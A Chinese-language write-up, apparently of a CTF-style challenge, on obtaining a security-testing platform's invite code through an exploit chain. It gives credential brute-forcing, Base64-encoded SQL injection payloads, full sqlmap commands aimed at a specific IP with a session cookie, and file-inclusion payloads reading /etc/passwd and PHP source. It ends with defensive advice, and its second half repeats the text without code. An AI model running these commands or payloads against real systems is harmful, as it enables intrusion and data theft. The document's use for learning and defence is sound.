记录一次众测平台邀请码获取
字数 1694 2025-08-15 21:32:56

众测平台邀请码获取实战教学文档

0x00 背景与目标

本教学文档基于一次真实的众测平台邀请码获取过程,详细记录了从发现漏洞到最终获取邀请码的全流程。目标是通过技术手段获取平台邀请码,主要涉及以下技术点:

  1. 密码爆破
  2. SQL注入(整形手动注入)
  3. SQL盲注(使用sqlmap工具)
  4. 文件包含漏洞利用
  5. 源码审计
  6. API接口分析

0x01 密码爆破

发现点

  • 登录页面无验证码保护
  • 无账户锁定机制

实施步骤

  1. 使用Burp Suite工具进行密码爆破
  2. 构造简单的用户名/密码字典(如test/test123等常见组合)
  3. 观察HTTP响应状态码,成功登录返回200状态码

结果

成功获取有效凭证:test/test123

0x02 SQL注入(整形手动注入)

发现点

  • URL中存在aid参数:http://119.3.191.245:8877/user/Article.php?aid=3
  • 参数值变化导致页面内容变化

测试方法

  1. 尝试aid=-101234
  2. 发现aid=3时页面显示更多链接
  3. 其中一个链接包含新参数:id=NQ==(Base64编码的"5")

注入验证

  1. 解码NQ==得到5
  2. 构造Payload:
    • 5 and 1=1 → Base64编码后替换原参数
    • 5 and 1=2 → Base64编码后替换原参数
  3. 观察页面差异,确认存在SQL注入

字段数探测

  1. 使用order by n确定字段数
  2. 经过测试确认字段数为3

联合查询尝试

  1. 构造5 union select 1,2,3 --+并Base64编码
  2. 发现系统拦截,提示"感知到注入迹象,启动第四阻断机制"

0x03 SQL盲注(使用sqlmap工具)

工具准备

  • 下载sqlmap工具
  • 准备Base64编码的tamper脚本

命令构造

python sqlmap.py -u "http://119.3.191.245:8877/user/Article.php?aid=3&id=*" \
--cookie="PHPSESSID=oteibuuop3nr3oj8d7e899ulg1" \
--batch \
--random-agent \
--tamper base64encode.py \
--level 3

数据库枚举

  1. 获取所有数据库:
python sqlmap.py -u "http://119.3.191.245:8877/user/Article.php?aid=3&id=*" \
--cookie="PHPSESSID=oteibuuop3nr3oj8d7e899ulg1" \
--batch \
--random-agent \
--tamper base64encode.py \
--dbs

结果:发现level2数据库

  1. 获取level2数据库表:
python sqlmap.py -u "http://119.3.191.245:8877/user/Article.php?aid=3&id=*" \
--cookie="PHPSESSID=oteibuuop3nr3oj8d7e899ulg1" \
--batch \
--random-agent \
--tamper base64encode.py \
-D "level2" \
--tables

结果:userarticle

  1. 获取user表数据:
python sqlmap.py -u "http://119.3.191.245:8877/user/Article.php?aid=3&id=*" \
--cookie="PHPSESSID=oteibuuop3nr3oj8d7e899ulg1" \
--batch \
--random-agent \
--tamper base64encode.py \
-D "level2" \
-T "user" \
--dump

结果:获取到admin账户凭据

0x04 文件包含漏洞利用

发现点

  • admin账户登录后页面多了一个小表情
  • 查看源码发现图片URL包含filename参数

测试方法

  1. 尝试读取系统文件:
    • filename=/etc/passwd → 成功读取
  2. 读取PHP源码(使用Base64编码绕过):
    • filename=php://filter/read=convert.base64-encode/resource=Read.php
    • 解码获取源码

源码审计

  1. 发现Read.php包含Base.php
  2. 读取Base.php源码
  3. 发现提示读取meifahufujiulaimingdu.php

关键源码分析

meifahufujiulaimingdu.php内容:

<?php
#关于邀请码,嗯,一目了然。
require_once("Base.php");
error_reporting(0);
//$user = isUser();  
$url = "http://172.17.0.1:3000/code";
$email = "";
function send_post($url, $post_data) {
    $postdata = http_build_query($post_data);
    $options = array(
        'http' => array(
            'method' => 'POST',
            'header' => 'Content-type:application/x-www-form-urlencoded',
            'content' => $postdata,
            'timeout' => 15 * 60
        )
    );
    $context = stream_context_create($options);
    $result = file_get_contents($url, false, $context);
    return $result;
}

$post_data = array(
    'e' => $_POST['email']
);
echo send_post($url, $post_data);

#ps:建团?什么建团? 啊,哦,那个啊,我记得小姐把它扔到static下面去了,有心的话,去那儿找找吧。

0x05 获取邀请码

API分析

  • 接口地址:http://172.17.0.1:3000/code
  • 请求方法:POST
  • 参数:email

实施步骤

  1. 构造POST请求:
    • URL:http://119.3.191.245:8877/meifahufujiulaimingdu.php
    • 参数:email=任意邮箱地址
  2. 发送请求获取返回的邀请码

0x06 总结与防御建议

漏洞链

  1. 弱密码 → 账户爆破
  2. SQL注入 → 数据泄露
  3. 文件包含 → 源码泄露
  4. 未授权API → 邀请码获取

防御建议

  1. 密码安全

    • 强制复杂密码策略
    • 实施账户锁定机制
    • 添加验证码保护
  2. SQL注入防护

    • 使用参数化查询
    • 实施WAF防护
    • 对union等危险关键词进行过滤
  3. 文件包含防护

    • 禁用危险函数(如php://filter)
    • 限制文件访问路径
    • 对用户输入进行严格过滤
  4. API安全

    • 实施身份验证
    • 限制内网API的外部访问
    • 对敏感操作进行日志记录
  5. 源码安全

    • 避免将敏感信息硬编码在源码中
    • 实施代码审计
    • 使用环境变量存储敏感配置

通过本案例可以学习到完整的渗透测试流程和多种漏洞利用技术,同时也提醒开发者在系统设计时需要考虑全面的安全防护措施。

众测平台邀请码获取实战教学文档 0x00 背景与目标 本教学文档基于一次真实的众测平台邀请码获取过程,详细记录了从发现漏洞到最终获取邀请码的全流程。目标是通过技术手段获取平台邀请码,主要涉及以下技术点: 密码爆破 SQL注入(整形手动注入) SQL盲注(使用sqlmap工具) 文件包含漏洞利用 源码审计 API接口分析 0x01 密码爆破 发现点 登录页面无验证码保护 无账户锁定机制 实施步骤 使用Burp Suite工具进行密码爆破 构造简单的用户名/密码字典(如test/test123等常见组合) 观察HTTP响应状态码,成功登录返回200状态码 结果 成功获取有效凭证: test/test123 0x02 SQL注入(整形手动注入) 发现点 URL中存在 aid 参数: http://119.3.191.245:8877/user/Article.php?aid=3 参数值变化导致页面内容变化 测试方法 尝试 aid=-1 、 0 、 1 、 2 、 3 、 4 发现 aid=3 时页面显示更多链接 其中一个链接包含新参数: id=NQ== (Base64编码的"5") 注入验证 解码 NQ== 得到 5 构造Payload: 5 and 1=1 → Base64编码后替换原参数 5 and 1=2 → Base64编码后替换原参数 观察页面差异,确认存在SQL注入 字段数探测 使用 order by n 确定字段数 经过测试确认字段数为3 联合查询尝试 构造 5 union select 1,2,3 --+ 并Base64编码 发现系统拦截,提示"感知到注入迹象,启动第四阻断机制" 0x03 SQL盲注(使用sqlmap工具) 工具准备 下载sqlmap工具 准备Base64编码的tamper脚本 命令构造 数据库枚举 获取所有数据库: 结果:发现 level2 数据库 获取 level2 数据库表: 结果: user 和 article 表 获取 user 表数据: 结果:获取到admin账户凭据 0x04 文件包含漏洞利用 发现点 admin账户登录后页面多了一个小表情 查看源码发现图片URL包含 filename 参数 测试方法 尝试读取系统文件: filename=/etc/passwd → 成功读取 读取PHP源码(使用Base64编码绕过): filename=php://filter/read=convert.base64-encode/resource=Read.php 解码获取源码 源码审计 发现 Read.php 包含 Base.php 读取 Base.php 源码 发现提示读取 meifahufujiulaimingdu.php 关键源码分析 meifahufujiulaimingdu.php 内容: 0x05 获取邀请码 API分析 接口地址: http://172.17.0.1:3000/code 请求方法:POST 参数: email 实施步骤 构造POST请求: URL: http://119.3.191.245:8877/meifahufujiulaimingdu.php 参数: email=任意邮箱地址 发送请求获取返回的邀请码 0x06 总结与防御建议 漏洞链 弱密码 → 账户爆破 SQL注入 → 数据泄露 文件包含 → 源码泄露 未授权API → 邀请码获取 防御建议 密码安全 强制复杂密码策略 实施账户锁定机制 添加验证码保护 SQL注入防护 使用参数化查询 实施WAF防护 对union等危险关键词进行过滤 文件包含防护 禁用危险函数(如php://filter) 限制文件访问路径 对用户输入进行严格过滤 API安全 实施身份验证 限制内网API的外部访问 对敏感操作进行日志记录 源码安全 避免将敏感信息硬编码在源码中 实施代码审计 使用环境变量存储敏感配置 通过本案例可以学习到完整的渗透测试流程和多种漏洞利用技术,同时也提醒开发者在系统设计时需要考虑全面的安全防护措施。